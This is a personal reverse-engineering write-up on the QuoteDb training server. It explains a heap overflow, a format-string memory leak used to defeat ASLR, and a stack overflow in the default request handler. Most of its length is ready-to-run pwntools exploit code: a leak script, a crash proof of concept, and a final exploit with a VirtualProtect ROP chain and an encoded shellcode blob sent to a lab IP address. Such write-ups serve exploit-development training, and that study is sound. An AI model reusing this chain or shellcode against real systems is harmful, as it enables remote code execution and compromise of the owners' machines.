# Lets learn Reverse Engineering 4!
###### tags: `reverse engineering`, `windows`, `pwn`
This will be about QuoteDb, a second challenge. Download link below:
https://github.com/bmdyy/quote_db/
```
bp main+0x1808 #Parsing opcode
bp main+0x1852 #Switch statement
```
## Update_Quote (`main+0x162b`)
In Update_Quote, only 0x800 is allocated on the heap. However, it calls `strlen` on our buffer and copies the entire buffer with strlen size. There is some form of heap corruption here.
## ASLR bypass
ASLR bypass is usually done with a memory leak. There is a format string vulnerability in this server.
![](https://i.imgur.com/yky1whT.png)
In get_quote, there is a _snprintf which takes in our user buffer as the format. By supplying `%p` as our user buffer, we are essentially leaking something from the stack! Do follow along by setting a break point on it, _snprintf is at `main+0x15ae`.
### Before _snprintf
![](https://i.imgur.com/wSYzw9D.png)
**Note the things on the stack:**
```
01a07378 012649e8
01a0737c 00000800
01a07380 003d4a80 main!main+0x12bf7
01a07384 76c37d30 msvcrt!endthread+0x40
01a07388 00000385
01a0738c 003c173b main+0x173b
01a07390 01a0fbf0
01a07394 003c18fb main+0x18fb
```
### After _snprintf
![](https://i.imgur.com/Fj13rey.png)
We have effectively leak everything on the stack. ASLR bypass can be done using **msvcrt!endthread+0x40** to calculate the base address of **msvcrt.dll**. Similarly for the base address ot the **Main PIE**. Also **0x003c18fb** is actually the **return address** for one of the functions (look at the commmand pane in Windbg). We can actually overwrite this by supplying **%n**.
I am slightly hesitant about overwriting return address using the format string because it is harder to locate my buffer and do rop. So I am continuing to look around.
## Default Case
I like how the RIP control is done in the default request / bad request. This might be something that most people overlook. I looked into this because the rest of the memCpy looks like it only copied 0x800 of my userbuffer. This wont be enough to overwrite the stack pointer. Thus, I went to look else where and ended up at the default case.
![](https://i.imgur.com/N7I5TRg.png)
The default case memcpy a size of 0x4000, which I immediately think its possible for a RIP control.
## POCs
At this point, we have RIP Control and a memory leak. We essentially have solved the problem :)
### POC (Memory Leak)
```
from pwn import *
p = remote("192.168.106.181", 3700)
get_quote = 901
add_quote = 902
update_quote = 903
delete_quote = 904
choice = get_quote
# add quote
print("Choice = add quote")
payload = p32(902) #Opcode
payload += b'%p_' * 0x100
p.send(payload)
p.close()
p = remote("192.168.106.181", 3700)
print("Choice = get quote")
payload = p32(901) #Opcode
payload += p32(0xa) #Quote Number
p.send(payload)
ASLRLeak = p.recvuntil(b'_')
ASLRLeak = ASLRLeak[0:-1]
print("ASLRLeak = ", ASLRLeak)
ASLRLeak = int(ASLRLeak, 16)
print("ASLRLeak = ", ASLRLeak)
MSVCRTBase = ASLRLeak - 0x00067d30
print("MSVCRTBase = ", hex(MSVCRTBase))
p.interactive()
```
### POC (RIP Control)
```
from pwn import *
p = remote("192.168.106.181", 3700)
get_quote = 901
add_quote = 902
update_quote = 903
delete_quote = 904
default_quote = 905
choice = default_quote
# get quote
if (choice == get_quote):
print("Choice = get quote")
payload = p32(901) #Opcode
payload += p32(0xf) #Quote Number
p.send(payload)
p.interactive()
# add quote
elif (choice == add_quote):
print("Choice = add quote")
payload = p32(902) #Opcode
payload += b'%p_' * 0x100
p.send(payload)
p.interactive()
# Update quote
elif (choice == update_quote):
print("Choice = update quote")
payload = p32(903)
payload += p32(0xa)
payload += b'\x42' * 0x1000
p.send(payload)
p.interactive()
# Update quote
elif (choice == delete_quote):
print("Choice = delete quote")
payload = p32(904)
payload += p32(0xa)
p.send(payload)
p.interactive()
elif (choice == default_quote):
print("Choice = defaut quote")
payload = p32(905)
payload += b'\x41' * 2060
payload += p32(0xCCCCCCCC) #RIP control
payload += b'\xAA' * (5000 - len(payload))
p.send(payload)
p.interactive()
```
## ROP
Gadgets to get esp found in the server exe itself:
```
0x004035bb: add dword [ecx], esp ; ret ; (1 found)
0x00401e69: or eax, esp ; ret ; (1 found)
```
The rest is pretty easy.
# Final POC
```
from pwn import *
p = remote("192.168.106.181", 3700)
get_quote = 901
add_quote = 902
update_quote = 903
delete_quote = 904
default_quote = 905
choice = default_quote
# add quote
print("Choice = add quote")
payload = p32(902) #Opcode
payload += b'%p_' * 0x100
p.send(payload)
p.close()
p = remote("192.168.106.181", 3700)
print("Choice = get quote")
payload = p32(901) #Opcode
payload += p32(0xa) #Quote Number
p.send(payload)
ASLRLeak = p.recvuntil(b'_')
ASLRLeak = ASLRLeak[0:-1]
print("ASLRLeak = ", ASLRLeak)
ASLRLeak = int(ASLRLeak, 16)
print("ASLRLeak = ", ASLRLeak)
MSVCRTBase = ASLRLeak - 0x00067d30
print("MSVCRTBase = ", hex(MSVCRTBase))
PIELeak = p.recvuntil(b'_')
PIELeak = p.recvuntil(b'_')
PIELeak = PIELeak[0:-1]
PIEBase = int(PIELeak, 16) - 0x173b
print("PIE Base address = ", hex(PIEBase))
################################################################################
p = remote("192.168.106.181", 3700)
buf = b"\x90"
buf += b"\x81\xec\x00\x10\x00\x00" #Added a sub esp, 0x1000
buf += b"\xd9\xe5\xbb\x08\xe2\x29\xf1\xd9\x74\x24\xf4\x5d\x29"
buf += b"\xc9\xb1\x52\x83\xed\xfc\x31\x5d\x13\x03\x55\xf1\xcb"
buf += b"\x04\x99\x1d\x89\xe7\x61\xde\xee\x6e\x84\xef\x2e\x14"
buf += b"\xcd\x40\x9f\x5e\x83\x6c\x54\x32\x37\xe6\x18\x9b\x38"
buf += b"\x4f\x96\xfd\x77\x50\x8b\x3e\x16\xd2\xd6\x12\xf8\xeb"
buf += b"\x18\x67\xf9\x2c\x44\x8a\xab\xe5\x02\x39\x5b\x81\x5f"
buf += b"\x82\xd0\xd9\x4e\x82\x05\xa9\x71\xa3\x98\xa1\x2b\x63"
buf += b"\x1b\x65\x40\x2a\x03\x6a\x6d\xe4\xb8\x58\x19\xf7\x68"
buf += b"\x91\xe2\x54\x55\x1d\x11\xa4\x92\x9a\xca\xd3\xea\xd8"
buf += b"\x77\xe4\x29\xa2\xa3\x61\xa9\x04\x27\xd1\x15\xb4\xe4"
buf += b"\x84\xde\xba\x41\xc2\xb8\xde\x54\x07\xb3\xdb\xdd\xa6"
buf += b"\x13\x6a\xa5\x8c\xb7\x36\x7d\xac\xee\x92\xd0\xd1\xf0"
buf += b"\x7c\x8c\x77\x7b\x90\xd9\x05\x26\xfd\x2e\x24\xd8\xfd"
buf += b"\x38\x3f\xab\xcf\xe7\xeb\x23\x7c\x6f\x32\xb4\x83\x5a"
buf += b"\x82\x2a\x7a\x65\xf3\x63\xb9\x31\xa3\x1b\x68\x3a\x28"
buf += b"\xdb\x95\xef\xff\x8b\x39\x40\x40\x7b\xfa\x30\x28\x91"
buf += b"\xf5\x6f\x48\x9a\xdf\x07\xe3\x61\x88\xe7\x5c\x03\xe0"
buf += b"\x80\x9e\xd3\xf1\xeb\x16\x35\x9b\x1b\x7f\xee\x34\x85"
buf += b"\xda\x64\xa4\x4a\xf1\x01\xe6\xc1\xf6\xf6\xa9\x21\x72"
buf += b"\xe4\x5e\xc2\xc9\x56\xc8\xdd\xe7\xfe\x96\x4c\x6c\xfe"
buf += b"\xd1\x6c\x3b\xa9\xb6\x43\x32\x3f\x2b\xfd\xec\x5d\xb6"
buf += b"\x9b\xd7\xe5\x6d\x58\xd9\xe4\xe0\xe4\xfd\xf6\x3c\xe4"
buf += b"\xb9\xa2\x90\xb3\x17\x1c\x57\x6a\xd6\xf6\x01\xc1\xb0"
buf += b"\x9e\xd4\x29\x03\xd8\xd8\x67\xf5\x04\x68\xde\x40\x3b"
buf += b"\x45\xb6\x44\x44\xbb\x26\xaa\x9f\x7f\x56\xe1\xbd\xd6"
buf += b"\xff\xac\x54\x6b\x62\x4f\x83\xa8\x9b\xcc\x21\x51\x58"
buf += b"\xcc\x40\x54\x24\x4a\xb9\x24\x35\x3f\xbd\x9b\x36\x6a"
# get quote
if (choice == get_quote):
print("Choice = get quote")
payload = p32(901) #Opcode
payload += p32(0xf) #Quote Number
p.send(payload)
p.interactive()
# add quote
elif (choice == add_quote):
print("Choice = add quote")
payload = p32(902) #Opcode
payload += b'%p_' * 0x100
p.send(payload)
p.interactive()
# Update quote
elif (choice == update_quote):
print("Choice = update quote")
payload = p32(903)
payload += p32(0xa)
payload += b'\x42' * 0x1000
p.send(payload)
p.interactive()
# Update quote
elif (choice == delete_quote):
print("Choice = delete quote")
payload = p32(904)
payload += p32(0xa)
p.send(payload)
p.interactive()
elif (choice == default_quote):
print("Choice = defaut quote")
payload = p32(905)
payload += b'\x90' * (2060 - len(buf))
payload += buf
### Start of ROP
payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found)
payload += p32(0)
payload += p32(PIEBase+0x1e69) #0x00401e69: or eax, esp ; ret ; (1 found)
### Eax has ESP, move to ebx
payload += p32(PIEBase+0x1e73) #0x00401e73: mov ebx, eax ; ret ; (1 found)
### Mov Virtual protect address into eax
payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found)
payload += p32(PIEBase+0x4321c) #44321C IAT Of VirtualProtect in PIE
payload += p32(PIEBase+0x1e6c) #0x00401e6c: mov eax, dword [eax] ; add ecx, 0x05 ; pop edx ; ret ; (1 found)
payload += p32(0xCCCCCCCC)
### Mov virtual protect into stack
payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found)
### Increase ebx by 4
payload += p32(PIEBase + 0x1e82) #0x00401e82: add ebx, 0x04 ; ret ; (1 found)
### Finding shellcode address
payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found)
payload += p32(0)
payload += p32(PIEBase+0x1e69) #0x00401e69: or eax, esp ; ret ; (1 found)
payload += p32(MSVCRTBase + 0x0d312) #0x1010d312: pop ecx ; ret ; (1 found)
payload += p32(0x400)
payload += p32(MSVCRTBase+0x8acb4) #0x1018acb4: sub eax, ecx ; ret ; (1 found)
### Mov return address into stack
payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found)
payload += p32(PIEBase + 0x1e82) #0x00401e82: add ebx, 0x04 ; ret ; (1 found)
### Mov VirtualProtect Address to VP into stack
payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found)
payload += p32(PIEBase + 0x1e82) #0x00401e82: add ebx, 0x04 ; ret ; (1 found)
### Mov VP argument (size)
payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found)
payload += p32(0x1000)
payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found)
payload += p32(PIEBase + 0x1e82) #0x00401e82: add ebx, 0x04 ; ret ; (1 found)
### Mov VP argument (new Protect)
payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found)
payload += p32(0x40)
payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found)
payload += p32(PIEBase + 0x1e82) #0x00401e82: add ebx, 0x04 ; ret ; (1 found)
### Mov VP argument (address to store old protect)
payload += p32(MSVCRTBase+0x3bbf2) #0x1013bbf2: pop eax ; ret ; (1 found)
payload += p32(0)
payload += p32(PIEBase+0x1e69) #0x00401e69: or eax, esp ; ret ; (1 found)
payload += p32(PIEBase + 0x1e7a) #0x00401e7a: mov dword [ebx], eax ; ret ; (1 found)
### Stack should be completed
payload += p32(PIEBase + 0x5306) #0x00405306: mov eax, ebx ; pop ebx ; pop esi ; ret ; (1 found)
payload += p32(0xCCCCCCCC)
payload += p32(0xCCCCCCCC)
payload += p32(MSVCRTBase + 0x0d312) #0x1010d312: pop ecx ; ret ; (1 found)
payload += p32(0x14)
payload += p32(MSVCRTBase+0x8acb4) #0x1018acb4: sub eax, ecx ; ret ; (1 found)
payload += p32(PIEBase + 0x344d) #0x0040344d: xchg eax, esp ; ret ; (1 found)
print("Remaining length of rop = ", (5000 - len(payload)))
payload += b'\x90' * (5000 - len(payload))
p.send(payload)
p.interactive()
```